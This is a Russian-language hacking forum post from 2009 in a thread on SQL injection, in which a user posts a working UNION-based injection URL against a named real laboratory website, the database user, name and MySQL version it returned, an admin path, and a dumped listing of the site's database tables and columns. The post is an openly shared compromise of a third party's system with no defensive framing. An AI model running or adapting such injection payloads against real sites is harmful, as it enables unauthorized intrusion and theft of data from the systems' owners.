SQL Инъекции

#11

13.04.2009, 09:43

edichka

Новичок

Регистрация: 31.01.2009

Сообщений: 22

С нами: 9092536

Репутация: 34

vimss.lbl.gov pr 6

Код:

http://vimss.lbl.gov/findings/selected_image.php?id=-9%20union%20select%201,concat_ws(0x23,user(),database(),version()),3,4,5,6,7,8,9

test@localhost#vimss_WebContent#5.0.22

http://vimss.lbl.gov/admin - basic

Код:

Структура 

17 :In database afcs_WebContent found table events
   0 :   id
   1 :   description
   2 :   startDate
   3 :   endDate
   4 :   startTime
   5 :   endTime
   6 :   event
   7 :   projects
   8 :   link
   9 :   archive
18 :In database afcs_WebContent found table presentations
   0 :   id
   1 :   title
   2 :   abstract
   3 :   presenter
   4 :   fundingSource
   5 :   venue
   6 :   date
   7 :   location
   8 :   link
   9 :   fileName
   10 :   passwordProtected
   11 :   topics
   12 :   lbnlNumber
   13 :   authors
   14 :   archive
19 :In database afcs_WebContent found table projects
   0 :   id
   1 :   project
   2 :   abbreviation
20 :In database afcs_WebContent found table publications
   0 :   id
   1 :   title
   2 :   abstract
   3 :   authors
   4 :   publishedYear
   5 :   publishedBy
   6 :   publishedPages
   7 :   publishedVolume
   8 :   publishedIssue
   9 :   link
   10 :   category
   11 :   topics
   12 :   status
   13 :   editor
   14 :   lbnlNumber
   15 :   fundingSource
   16 :   archive
21 :In database afcs_WebContent found table topics
   0 :   id
   1 :   topic
   2 :   date_added
22 :In database vimss_WebContent found table Images
   0 :   id
   1 :   title
   2 :   description
   3 :   authors
   4 :   fundingSource
   5 :   fileName
   6 :   passwordProtected
   7 :   topics
   8 :   archive
23 :In database vimss_WebContent found table events
   0 :   id
   1 :   description
   2 :   startDate
   3 :   endDate
   4 :   startTime
   5 :   endTime
   6 :   event
   7 :   projects
   8 :   link
   9 :   archive
24 :In database vimss_WebContent found table presentations
   0 :   id
   1 :   title
   2 :   abstract
   3 :   presenter
   4 :   fundingSource
   5 :   venue
   6 :   date
   7 :   location
   8 :   link
   9 :   fileName
   10 :   passwordProtected
   11 :   topics
   12 :   lbnlNumber
   13 :   authors
   14 :   archive
25 :In database vimss_WebContent found table projects
   0 :   id
   1 :   project
   2 :   abbreviation
26 :In database vimss_WebContent found table publications
   0 :   id
   1 :   title
   2 :   abstract
   3 :   authors
   4 :   publishedYear
   5 :   publishedBy
   6 :   publishedPages
   7 :   publishedVolume
   8 :   publishedIssue
   9 :   link
   10 :   category
   11 :   topics
   12 :   status
   13 :   editor
   14 :   lbnlNumber
   15 :   fundingSource
   16 :   archive
27 :In database vimss_WebContent found table topics
   0 :   id
   1 :   topic
   2 :   date_added